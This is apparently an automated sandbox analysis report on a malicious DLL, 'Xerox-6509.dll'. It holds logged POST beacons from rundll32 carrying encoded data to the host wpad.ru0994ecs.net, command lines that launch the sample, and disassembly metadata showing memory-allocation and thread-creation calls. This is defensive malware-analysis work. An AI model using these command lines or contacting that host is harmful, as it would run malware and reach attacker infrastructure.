2024-04-16 13:38:12 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:12 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4x84%2FUcd7bqDlhrJwZD84G7wN21SOCq2guwX7%2ByYMA9lU0A0SfUHw0nOSWRb86emABDd5qnrNklnnQmd4%2BgP6HN9JdBxvCz5ycZHsjsJiYQQM6I8gMP082B%2BkMtbke2sFxfAyts%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754930bbfe707c6-ATL
2024-04-16 13:38:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.8	49885	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:16 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BXSQCnAj09QpC4qbR3MxShSQiBXmEIDPiB%2FhFWmwp1Ma%2BtwyN2T6SX4zfEWdlL9Va5x36EXj0DYz%2Fvawd%2FIZKPpxMh5Pd%2Fh5pb7A%2FzzBu9qYdPDNqocq2lfD500vUAUEDxF3lB8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549324280d44dd-ATL
2024-04-16 13:38:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.8	49886	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:16 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5TcIlWq%2FloXMo%2F3VnNnfKe3aOKbyNR6MtNPEBg6NSgAf8fg5FqJS2k1DQbjO23JTkZa8TtnJt2ATwg%2FBQXULdMWGCVx9bR0OaRD7D3mnFgyCqf%2BPzw0%2BA1FSgTJjHEk64jDovUY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875493249d9db088-ATL
2024-04-16 13:38:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.8	49887	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:38:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:38:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:38:17 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:38:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TRl7LCknuD9dWNFoVlNT5cR8x4qL%2FJMipeRycfeLWbM0sq6Ar1uY3zcMrK8oW7dIJTSd2oTNxEQ14Q3ZM2DXsgjUO39AXrwo0lIQgmeXskQX9GVC7S%2BOBQXwM9JiJ8Kv27sDbls%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549328b8fcb027-ATL
2024-04-16 13:38:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:35:12
Start date:	16/04/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\Xerox-6509.dll"
Imagebase:	0x1000000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:35:12
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	15:35:12
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	15:35:12
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\Xerox-6509.dll,main
Imagebase:	0xf10000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:35:12
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",#1
Imagebase:	0xf10000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:35:15
Start date:	16/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\Xerox-6509.dll",main
Imagebase:	0xf10000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.4%
Total number of Nodes:	261
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 650C259A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 205
nativememorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 650C26DB
NtAllocateVirtualMemory.NTDLL(?,?,00000000), ref: 650C271D
NtProtectVirtualMemory.NTDLL ref: 650C2785
NtCreateThreadEx.NTDLL ref: 650C27E2

Strings

, xrefs: 650C2892

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$AllocateCreateInfoNativeProtectSystemThread
String ID:
API String ID: 2325482688-3916222277
Opcode ID: 5a1862eeb254525bb00199cbac3d8ed7c64dbacf4a4c3f152bd05e2d1a43b773
Instruction ID: 12943b6ff4b8cd6147da03be8dcc3fce54128b8e6a76a47d1fa6157728bea400
Opcode Fuzzy Hash: 5a1862eeb254525bb00199cbac3d8ed7c64dbacf4a4c3f152bd05e2d1a43b773
Instruction Fuzzy Hash: CAA1AFB09183069FDB00DFA9D59435EBBF0BF89318F10895DE8A89B290D775D949CF82

Uniqueness

Uniqueness Score: -1.00%

Function 650C2590 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 147
nativememorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 650C26DB
NtAllocateVirtualMemory.NTDLL(?,?,00000000), ref: 650C271D
NtProtectVirtualMemory.NTDLL ref: 650C2785
NtCreateThreadEx.NTDLL ref: 650C27E2

Strings

, xrefs: 650C2772

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$AllocateCreateInfoNativeProtectSystemThread
String ID:
API String ID: 2325482688-3916222277
Opcode ID: ff7bbf6ee737ae386f1e5824b8fccdde15939000ef55c002a5f2b2d0400ff117
Instruction ID: 2ac99de68f40d41188fe22059b4b4dffa9f1afb41a35c731b07f252c6b14b739
Opcode Fuzzy Hash: ff7bbf6ee737ae386f1e5824b8fccdde15939000ef55c002a5f2b2d0400ff117
Instruction Fuzzy Hash: 8561C2B09193459FDB00EFA8D94834EBBF0FF85318F10995DE8989B290D7759949CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00A05DB5 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 201threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00A060AB

Strings

, xrefs: 00A05FB7

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-3916222277
Opcode ID: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction ID: 640ade99b07fc42807c390be7510c2860e1f52b04229fb20a242a6bebfacc9ba
Opcode Fuzzy Hash: b4b40331543faf0df77daedfeace655052cab23ec515b4d38cb2d16a352350e5
Instruction Fuzzy Hash: 02A1BFB59097059FC750DF28D184B5ABBF0BF88714F00896EE8988B391E735E948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A078A5 Relevance: 1.5, APIs: 1, Instructions: 45memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 00A078EE

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction ID: 427e50649fba73852d11d2a0d0c20c48d59f7f272ff7a026458b9caed29743e6
Opcode Fuzzy Hash: 6371d953e821364971e2c556ce0986786cb66222d9c56bdb2f423f9f4068da43
Instruction Fuzzy Hash: 15113CB4A0A3419FC780DF29D58461ABBF0AF88750F40981EF998C7311E331E9948B52

Uniqueness

Uniqueness Score: -1.00%

Function 00A07945 Relevance: 1.5, APIs: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL ref: 00A07986

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction ID: 02d4769fb838f52c09b546a489c27dcd8df8588e6d6bc3e5989859c779935486
Opcode Fuzzy Hash: d7a76dc465dc2fb885f299a87e3a25ae2249767619dcfdf31fe6d3030ece63d3
Instruction Fuzzy Hash: 57112BB490A345AFC780EF29D58061EBBF0BF89750F40996EF898C7355E731E9548B42

Uniqueness

Uniqueness Score: -1.00%

Function 00A05FC6 Relevance: 1.6, APIs: 1, Instructions: 60threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00A060AB

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction ID: 2ff6cb14c47139537daa7f736b195c6ad0e1eeebd6ee5405a32f88b5ee7899b6
Opcode Fuzzy Hash: 0b8545f82357e8d61d467d7243ee2d5d7b58c47f4917b06ed294f69a32263076
Instruction Fuzzy Hash: E221A3B5A04700DFD754EF68D188B5ABBF0FF88710F118968E8888B755DB35D898CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A060BC Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00A060AB

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction ID: 2ce5ccca94595316f1b6e2fd86b8c040e8f31aab58c1a813a6a19151b48f36bc
Opcode Fuzzy Hash: c1e54aa02e66ebe4a4ce65fe0e526cd77aa18f60bd90dbf7986bc84789a59adc
Instruction Fuzzy Hash: CF217FB5908740CFD750EF68D184B5ABBF0FF88710F118969E8988B365D735D888CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A068C5 Relevance: 1.5, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00A07590), ref: 00A06913

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction ID: 9858fe7de78b75887e43b4e9968a76ac1be281ce0caab1d9ab716ef0ad76e81c
Opcode Fuzzy Hash: afa18f40be867f49e0b919c6d48e4dbbde498f37124b4411c434495fb0fc6e1d
Instruction Fuzzy Hash: 64F0F975A083114BD710EF68F58075BBBE0FB98794F10896DD88847385D630C8508BD2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 650C1600 Relevance: 7.6, APIs: 5, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 650C164F
UnhandledExceptionFilter.KERNEL32 ref: 650C165F
GetCurrentProcess.KERNEL32 ref: 650C1668
TerminateProcess.KERNEL32 ref: 650C1679
abort.MSVCRT ref: 650C1682

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 99464efb74455afefaa0d7f8d5c5d7f73c16dec71753c843aae8a6f42e30096f
Instruction ID: 93268e1e5ae475a8af8204382c84eee5bbc9f5de4cacc71631184abcb3a1b359
Opcode Fuzzy Hash: 99464efb74455afefaa0d7f8d5c5d7f73c16dec71753c843aae8a6f42e30096f
Instruction Fuzzy Hash: 6E11D4B5918605DFCB00EF69E545709BBF0BB4A344F408969ED8987300EB34D9968F53

Uniqueness

Uniqueness Score: -1.00%

Function 650C1540 Relevance: 7.6, APIs: 5, Instructions: 55
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 650C157F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,650C13E5), ref: 650C1590
GetCurrentThreadId.KERNEL32 ref: 650C1598
GetTickCount.KERNEL32 ref: 650C15A0
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,650C13E5), ref: 650C15AF

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: f8a8ff06c900e5d3583cf1b95cd46e6d653c79d14f4a9b8509269f510e473991
Instruction ID: b92f4273cec1fbcb6272b7d7b9baaa68cf5ea08302f75e4562879b803f092021
Opcode Fuzzy Hash: f8a8ff06c900e5d3583cf1b95cd46e6d653c79d14f4a9b8509269f510e473991
Instruction Fuzzy Hash: 5A114CB59282018BCB10DF79F98864BBBE1FB89264F554C39E845C7600EF35D49A8B93

Uniqueness

Uniqueness Score: -1.00%

Function 650C15FC Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 650C164F
UnhandledExceptionFilter.KERNEL32 ref: 650C165F
GetCurrentProcess.KERNEL32 ref: 650C1668
TerminateProcess.KERNEL32 ref: 650C1679
abort.MSVCRT ref: 650C1682

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 39b04ac6c8a04f3befb1637f712654986036dda2fa75091e44d79a0c9d3d6828
Instruction ID: 385d661da3617aa4a5281ed73e12b95f73a8f5c1db455713530ece27f19682d2
Opcode Fuzzy Hash: 39b04ac6c8a04f3befb1637f712654986036dda2fa75091e44d79a0c9d3d6828
Instruction Fuzzy Hash: 1F1105B1818206DFCB00EFA9E6497097BF0BB0A304F008529ED4987300EB34D9568F93

Uniqueness

Uniqueness Score: -1.00%

Function 00A06315 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c109f8cbc19281d5b02e97ca2226e2bd623c7e7c0ae8f69aed66bfecf9e37e9
Instruction ID: 90ffacc3266dc25d0783eea7a056bf2440a8155ca791f2c4201dc597ca459387
Opcode Fuzzy Hash: 5c109f8cbc19281d5b02e97ca2226e2bd623c7e7c0ae8f69aed66bfecf9e37e9
Instruction Fuzzy Hash: 9A2162316087188BD7308F19E480B6BB3E5BF80728F09492DE9898B680D635E954DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00A05AA5 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572cf4ab0c0af46deed807f3f8a74a400713d6c82bc35d054de9dc06bb372b2e
Instruction ID: 71c5acab9b52c68309c237ac9641bb6cd55b3f4aaef3c22d0735137d65093b43
Opcode Fuzzy Hash: 572cf4ab0c0af46deed807f3f8a74a400713d6c82bc35d054de9dc06bb372b2e
Instruction Fuzzy Hash: AE217272B083154BC304CE2AC89120BFBE6AFC8314F05CA2EF989C7350DA75EC458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00A063F5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.1391183683.00000000009D0000.00000020.00001000.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_9d0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684b7d094939317cfead4f7649dfe2586d93379080e397a849353f61ed111d46
Instruction ID: b540afb80198466ad575a062f44b855595d294d146fd5822e04ccd055008c586
Opcode Fuzzy Hash: 684b7d094939317cfead4f7649dfe2586d93379080e397a849353f61ed111d46
Instruction Fuzzy Hash: A2D0A730100519CFEB29CF08D3E0D24B374FB00B29F525094C0124B9D1D379ED52CE04

Uniqueness

Uniqueness Score: -1.00%

Function 650C2454 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3213671751.00000000650C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 650C0000, based on PE: true

Associated: 00000004.00000002.3213638857.00000000650C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213728132.00000000650FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213763985.00000000650FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3213823331.0000000065101000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650c0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b354ba6688c2080c4f6b7a586669c680345d239d6da519d6b8b421065ee413f
Instruction ID: 34e595041f1b03bc9dd5293cbc9b1dca1f263a206874d6c5b720a0cb3ad274d8
Opcode Fuzzy Hash: 2b354ba6688c2080c4f6b7a586669c680345d239d6da519d6b8b421065ee413f
Instruction Fuzzy Hash: 34D05E30218943CFC301CF48E8A0F1873B5FB02B54B9161E4C8A24BDA1D338E841C642

Uniqueness

Uniqueness Score: -1.00%

Function 650C1790 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 124
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 650C17BF
vfprintf.MSVCRT ref: 650C17DF
abort.MSVCRT ref: 650C17E4
VirtualQuery.KERNEL32 ref: 650C1877
VirtualProtect.KERNEL32 ref: 650C18CD
